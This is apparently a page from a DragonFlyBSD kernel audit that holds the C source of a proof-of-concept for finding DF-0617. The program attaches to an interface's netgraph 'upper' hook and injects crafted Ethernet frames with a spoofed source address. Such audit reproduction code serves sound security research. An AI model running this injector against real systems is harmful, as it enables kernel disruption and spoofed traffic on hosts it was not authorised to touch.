DragonFlyBSD Kernel Audit
DF-0617 / ng_inject.c
← back to finding ↓ download raw
/*
 * DF-0617 — netgraph upper-hook injector (v3, long-lived).
 *
 * Creates the socket node, connects to <iface>:upper, waits for the
 * async connect to be processed, then sends frames and stays alive
 * so the netgraph thread can process the queued data items.
 *
 * Build:  cc -o ng_inject ng_inject.c -lnetgraph
 * Run:    ./ng_inject tap0 [count] [dwell_sec]
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>

#include <netgraph.h>
#include <netgraph7/ng_message.h>
#include <netgraph7/socket/ng_socket.h>

int main(int argc, char **argv)
{
    const char *iface = (argc > 1) ? argv[1] : "tap0";
    int count = (argc > 2) ? atoi(argv[2]) : 1;
    int dwell = (argc > 3) ? atoi(argv[3]) : 20;
    int cfd, dfd;
    struct ngm_connect conn;
    char buf[60];
    int i, rc;

    rc = NgMkSockNode("df617inj", &cfd, &dfd);
    if (rc < 0) { fprintf(stderr, "NgMkSockNode: %s\n", strerror(errno)); return 1; }

    snprintf(conn.path,     sizeof(conn.path),     "%s:", iface);
    snprintf(conn.ourhook,  sizeof(conn.ourhook),  "out");
    snprintf(conn.peerhook, sizeof(conn.peerhook), "upper");
    if (NgSendMsg(cfd, ".", NGM_GENERIC_COOKIE, NGM_CONNECT, &conn, sizeof(conn)) < 0) {
        fprintf(stderr, "[!] CONNECT: %s\n", strerror(errno));
        return 2;
    }
    fprintf(stderr, "[*] connected out -> %s:upper\n", iface);

    /* Wait for the async netgraph thread to process the connect */
    sleep(2);
    fprintf(stderr, "[*] connect should be processed now, sending %d frames\n", count);

    memset(buf, 'A', sizeof(buf));
    memset(buf, 0xff, 6);
    buf[6] = 0xde; buf[7] = 0xad; buf[8] = 0xbe; buf[9] = 0xef;
    buf[10] = 0x00; buf[11] = 0x01;
    buf[12] = 0x08; buf[13] = 0x00;

    for (i = 0; i < count; i++) {
        rc = NgSendData(dfd, "out", (const u_char *)buf, sizeof(buf));
        fprintf(stderr, "[+] frame %d: NgSendData rc=%d %s\n", i, rc,
                rc < 0 ? strerror(errno) : "ok");
        if (count > 1) usleep(50000);  /* 50ms between frames */
    }

    fprintf(stderr, "[*] sent %d frames, dwelling %ds for async processing\n", count, dwell);
    sleep(dwell);
    fprintf(stderr, "[*] done\n");
    return 0;
}